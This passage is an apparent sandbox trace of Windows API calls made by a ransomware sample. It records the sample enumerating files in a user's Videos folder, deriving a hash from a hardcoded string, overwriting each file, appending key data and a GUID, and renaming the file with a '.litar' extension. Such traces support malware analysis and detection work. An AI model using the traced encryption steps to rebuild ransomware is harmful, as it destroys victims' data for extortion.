halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\udyiurr9kyvw-px_.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\UdyiuRr9KYVW-Px_.mkv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\udyiurr9kyvw-px_.mkv.litar")) returned 1 [0127.334] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.334] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.335] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.335] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefdb8b0, ftCreationTime.dwHighDateTime=0x1d4c537, ftLastAccessTime.dwLowDateTime=0x9edb58f0, ftLastAccessTime.dwHighDateTime=0x1d4cb04, ftLastWriteTime.dwLowDateTime=0x9edb58f0, ftLastWriteTime.dwHighDateTime=0x1d4cb04, nFileSizeHigh=0x0, nFileSizeLow=0xf4ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UyfgKSYNRi6Oyp.swf", cAlternateFileName="UYFGKS~1.SWF")) returned 1 [0127.335] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.335] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x3098bf8 [0127.335] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.335] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\UyfgKSYNRi6Oyp.swf") returned=".swf" [0127.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\UyfgKSYNRi6Oyp.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\uyfgksynri6oyp.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.335] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=62666) returned 1 [0127.335] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.337] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.337] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.338] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.338] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.338] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.338] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xf4ca, lpOverlapped=0x0) returned 1 [0127.339] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.339] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.339] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.339] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.339] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x69ff48) returned 1 [0127.340] CryptCreateHash (in: hProv=0x69ff48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.340] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.340] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.340] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.340] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.340] GetLastError () returned 0x0 [0127.340] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.340] CryptReleaseContext (hProv=0x69ff48, dwFlags=0x0) returned 1 [0127.340] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.340] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xf4d0) returned 0x30fa0b0 [0127.341] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.341] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.341] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xf4c5, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xf4c5, lpOverlapped=0x0) returned 1 [0127.341] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.341] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf4ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.341] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.341] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.341] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.341] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.341] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.341] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.342] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.342] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.342] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.342] CloseHandle (hObject=0x624) returned 1 [0127.343] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.343] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x30fa0b0 [0127.343] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.343] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\UyfgKSYNRi6Oyp.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\uyfgksynri6oyp.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\M1Ow pK RUoG\\UyfgKSYNRi6Oyp.swf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\m1ow pk ruog\\uyfgksynri6oyp.swf.litar")) returned 1 [0127.343] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.343] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.344] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefdb8b0, ftCreationTime.dwHighDateTime=0x1d4c537, ftLastAccessTime.dwLowDateTime=0x9edb58f0, ftLastAccessTime.dwHighDateTime=0x1d4cb04, ftLastWriteTime.dwLowDateTime=0x9edb58f0, ftLastWriteTime.dwHighDateTime=0x1d4cb04, nFileSizeHigh=0x0, nFileSizeLow=0xf4ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UyfgKSYNRi6Oyp.swf", cAlternateFileName="UYFGKS~1.SWF")) returned 0 [0127.344] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0127.344] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0127.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0127.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd260 | out: hHeap=0x5c0000) returned 1 [0127.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075368 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075400 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075498 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd308 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075530 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd3b0 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd458 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd1b8 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e388 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075238 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30950c0 | out: hHeap=0x5c0000) returned 1 [0127.345] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075238 [0127.345] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.345] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.345] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.345] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.345] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.345] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.345] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.345] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.349] HeapFree (in: 